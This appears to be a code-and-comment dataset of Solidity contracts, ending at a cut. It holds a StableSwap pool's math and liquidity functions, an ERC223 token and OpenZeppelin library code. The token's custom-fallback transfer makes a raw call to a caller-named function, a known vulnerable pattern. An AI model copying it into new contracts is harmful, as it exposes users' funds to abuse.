function _getD(uint[N] memory xp) private pure returns (uint) { /* Newton's method to compute D ----------------------------- f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1 (as + np)D_n D_(n+1) = ----------------------- (a - 1)D_n + (n + 1)p a = An^n s = sum(x_i) p = (D_n)^(n + 1) / (n^n prod(x_i)) */ uint a = A * N; // An^n uint s; // x_0 + x_1 + ... + x_(n-1) for (uint i; i < N; ++i) { s += xp[i]; } // Newton's method // Initial guess, d <= s uint d = s; uint d_prev; for (uint i; i < 255; ++i) { // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1)) uint p = d; for (uint j; j < N; ++j) { p = (p * d) / (N * xp[j]); } d_prev = d; d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p); if (Math.abs(d, d_prev) <= 1) { return d; } } revert("D didn't converge"); } /** * @notice Calculate the new balance of token j given the new balance of token i * @param i Index of token in * @param j Index of token out * @param x New balance of token i * @param xp Current precision-adjusted balances */ function _getY( uint i, uint j, uint x, uint[N] memory xp ) private pure returns (uint) { /* Newton's method to compute y ----------------------------- y = x_j f(y) = y^2 + y(b - D) - c y_n^2 + c y_(n+1) = -------------- 2y_n + b - D where s = sum(x_k), k != j p = prod(x_k), k != j b = s + D / (An^n) c = D^(n + 1) / (n^n * p * An^n) */ uint a = A * N; uint d = _getD(xp); uint s; uint c = d; uint _x; for (uint k; k < N; ++k) { if (k == i) { _x = x; } else if (k == j) { continue; } else { _x = xp[k]; } s += _x; c = (c * d) / (N * _x); } c = (c * d) / (N * a); uint b = s + d / a; // Newton's method uint y_prev; // Initial guess, y <= d uint y = d; for (uint _i; _i < 255; ++_i) { y_prev = y; y = (y * y + c) / (2 * y + b - d); if (Math.abs(y, y_prev) <= 1) { return y; } } revert("y didn't converge"); } /** * @notice Calculate the new balance of token i given precision-adjusted * balances xp and liquidity d * @dev Equation is calculate y is same as _getY * @param i Index of token to calculate the new balance * @param xp Precision-adjusted balances * @param d Liquidity d * @return New balance of token i */ function _getYD( uint i, uint[N] memory xp, uint d ) private pure returns (uint) { uint a = A * N; uint s; uint c = d; uint _x; for (uint k; k < N; ++k) { if (k != i) { _x = xp[k]; } else { continue; } s += _x; c = (c * d) / (N * _x); } c = (c * d) / (N * a); uint b = s + d / a; // Newton's method uint y_prev; // Initial guess, y <= d uint y = d; for (uint _i; _i < 255; ++_i) { y_prev = y; y = (y * y + c) / (2 * y + b - d); if (Math.abs(y, y_prev) <= 1) { return y; } } revert("y didn't converge"); } // Estimate value of 1 share // How many tokens is one share worth? function getVirtualPrice() external view returns (uint) { uint d = _getD(_xp()); uint _totalSupply = totalSupply; if (_totalSupply > 0) { return (d * 10**DECIMALS) / _totalSupply; } return 0; } /** * @notice Swap dx amount of token i for token j * @param i Index of token in * @param j Index of token out * @param dx Token in amount * @param minDy Minimum token out */ function swap( uint i, uint j, uint dx, uint minDy ) external returns (uint dy) { require(i != j, "i = j"); IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx); // Calculate dy uint[N] memory xp = _xp(); uint x = xp[i] + dx * multipliers[i]; uint y0 = xp[j]; uint y1 = _getY(i, j, x, xp); // y0 must be >= y1, since x has increased // -1 to round down dy = (y0 - y1 - 1) / multipliers[j]; // Subtract fee from dy uint fee = (dy * SWAP_FEE) / FEE_DENOMINATOR; dy -= fee; require(dy >= minDy, "dy < min"); balances[i] += dx; balances[j] -= dy; IERC20(tokens[j]).transfer(msg.sender, dy); } function addLiquidity(uint[N] calldata amounts, uint minShares) external returns (uint shares) { // calculate current liquidity d0 uint _totalSupply = totalSupply; uint d0; uint[N] memory old_xs = _xp(); if (_totalSupply > 0) { d0 = _getD(old_xs); } // Transfer tokens in uint[N] memory new_xs; for (uint i; i < N; ++i) { uint amount = amounts[i]; if (amount > 0) { IERC20(tokens[i]).transferFrom(msg.sender, address(this), amount); new_xs[i] = old_xs[i] + amount * multipliers[i]; } else { new_xs[i] = old_xs[i]; } } // Calculate new liquidity d1 uint d1 = _getD(new_xs); require(d1 > d0, "liquidity didn't increase"); // Reccalcuate D accounting for fee on imbalance uint d2; if (_totalSupply > 0) { for (uint i; i < N; ++i) { // TODO: why old_xs[i] * d1 / d0? why not d1 / N? uint idealBalance = (old_xs[i] * d1) / d0; uint diff = Math.abs(new_xs[i], idealBalance); new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR; } d2 = _getD(new_xs); } else { d2 = d1; } // Update balances for (uint i; i < N; ++i) { balances[i] += amounts[i]; } // Shares to mint = (d2 - d0) / d0 * total supply // d1 >= d2 >= d0 if (_totalSupply > 0) { shares = ((d2 - d0) * _totalSupply) / d0; } else { shares = d2; } require(shares >= minShares, "shares < min"); _mint(msg.sender, shares); } function removeLiquidity(uint shares, uint[N] calldata minAmountsOut) external returns (uint[N] memory amountsOut) { uint _totalSupply = totalSupply; for (uint i; i < N; ++i) { uint amountOut = (balances[i] * shares) / _totalSupply; require(amountOut >= minAmountsOut[i], "out < min"); balances[i] -= amountOut; amountsOut[i] = amountOut; IERC20(tokens[i]).transfer(msg.sender, amountOut); } _burn(msg.sender, shares); } /** * @notice Calculate amount of token i to receive for shares * @param shares Shares to burn * @param i Index of token to withdraw * @return dy Amount of token i to receive * fee Fee for withdraw. Fee already included in dy */ function _calcWithdrawOneToken(uint shares, uint i) private view returns (uint dy, uint fee) { uint _totalSupply = totalSupply; uint[N] memory xp = _xp(); // Calculate d0 and d1 uint d0 = _getD(xp); uint d1 = d0 - (d0 * shares) / _totalSupply; // Calculate reduction in y if D = d1 uint y0 = _getYD(i, xp, d1); // d1 <= d0 so y must be <= xp[i] uint dy0 = (xp[i] - y0) / multipliers[i]; // Calculate imbalance fee, update xp with fees uint dx; for (uint j; j < N; ++j) { if (j == i) { dx = (xp[j] * d1) / d0 - y0; } else { // d1 / d0 <= 1 dx = xp[j] - (xp[j] * d1) / d0; } xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR; } // Recalculate y with xp including imbalance fees uint y1 = _getYD(i, xp, d1); // - 1 to round down dy = (xp[i] - y1 - 1) / multipliers[i]; fee = dy0 - dy; } function calcWithdrawOneToken(uint shares, uint i) external view returns (uint dy, uint fee) { return _calcWithdrawOneToken(shares, i); } /** * @notice Withdraw liquidity in token i * @param shares Shares to burn * @param i Token to withdraw * @param minAmountOut Minimum amount of token i that must be withdrawn */ function removeLiquidityOneToken( uint shares, uint i, uint minAmountOut ) external returns (uint amountOut) { (amountOut, ) = _calcWithdrawOneToken(shares, i); require(amountOut >= minAmountOut, "out < min"); balances[i] -= amountOut; _burn(msg.sender, shares); IERC20(tokens[i]).transfer(msg.sender, amountOut); } } interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); }
Estimate value of 1 share How many tokens is one share worth?
function getVirtualPrice() external view returns (uint) { uint d = _getD(_xp()); uint _totalSupply = totalSupply; if (_totalSupply > 0) { return (d * 10**DECIMALS) / _totalSupply; } return 0; }
5,511,232
pragma solidity 0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC223 interface * @dev see https://github.com/ethereum/eips/issues/223 */ contract ERC223 { function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _fallback) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title ERC223Token * @dev Generic implementation for the required functionality of the ERC223 standard. * @dev */ contract PGGamePlatform is ERC223, ERC20Basic { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; /** * @dev Function to access name of token. * @return _name string the name of the token. */ function name() public view returns (string _name) { return name; } /** * @dev Function to access symbol of token. * @return _symbol string the symbol of the token. */ function symbol() public view returns (string _symbol) { return symbol; } /** * @dev Function to access decimals of token. * @return _decimals uint8 decimal point of token fractions. */ function decimals() public view returns (uint8 _decimals) { return decimals; } /** * @dev Function to access total supply of tokens. * @return _totalSupply uint256 total token supply. */ function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Function to access the balance of a specific address. * @param _owner address the target address to get the balance from. * @return _balance uint256 the balance of the target address. */ function balanceOf(address _owner) public view returns (uint256 _balance) { return balances[_owner]; } function PGGamePlatform() public{ name = "PG Game Platform"; symbol = "PGG"; decimals = 4; totalSupply = 10000000000 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } /** * @dev Function that is called when a user or another contract wants to transfer funds using custom fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. * @param _fallback string name of the custom fallback function to be called after transaction. */ function transfer(address _to, uint256 _value, bytes _data, string _fallback) public returns (bool _success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the custom fallback function. // Will fail if not implemented, reverting transaction. assert(_to.call.value(0)(bytes4(keccak256(_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } /** * @dev Function that is called when a user or another contract wants to transfer funds using default fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool _success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data. * Added due to backwards compatibility reasons. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. */ function transfer(address _to, uint256 _value) public returns (bool _success) { // Adds empty bytes to fill _data param in functions bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev Function to test whether target address is a contract. * @param _addr address to be tested as a contract address or something else. * @return _isContract bool true if target address is a contract false otherwise. */ function isContract(address _addr) private view returns (bool _isContract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } /** * @dev Function that is called when transaction target is an address. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Function that is called when transaction target is a contract. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the default fallback function. // Will fail if not implemented, reverting transaction. ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } }
Function to access decimals of token. return _decimals uint8 decimal point of token fractions./
function decimals() public view returns (uint8 _decimals) { return decimals; }
1,962,819
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ //*********************************************************************// //*********************************************************************// // // __ _______ ___ // / / / / ___// | // / / / /\__ \/ /| | // / /_/ /___/ / ___ | // \____//____/_/ |_| // // //*********************************************************************// //*********************************************************************// //-------------DEPENDENCIES--------------------------// // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's + operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's * operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. Note: this function uses a * revert opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if account is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, isContract will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on isContract to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's transfer: sends amount wei to * recipient, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by transfer, making them unable to receive funds via * transfer. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to recipient, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level call. A * plain call is an unsafe replacement for a function call: use this * function instead. * * If target reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode]. * * Requirements: * * - target must be a contract. * - calling target with data must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with * errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but also transferring value wei to target. * * Requirements: * * - the calling contract must have an ETH balance of at least value. * - the called Solidity function must be payable. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but * with errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom} * by operator from from, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with IERC721.onERC721Received.selector. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * interfaceId. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when tokenId token is transferred from from to to. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when owner enables approved to manage the tokenId token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when owner enables or disables (approved) operator to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in owner's account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the tokenId token. * * Requirements: * * - tokenId must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers tokenId token from from to to, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers tokenId token from from to to. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to to to transfer tokenId token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - tokenId must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for tokenId token. * * Requirements: * * - tokenId must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove operator as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The operator cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the operator is allowed to manage all of the assets of owner. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers tokenId token from from to to. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by owner at a given index of its token list. * Use along with {balanceOf} to enumerate all of owner's tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given index of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for tokenId token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a uint256 to its ASCII string decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value 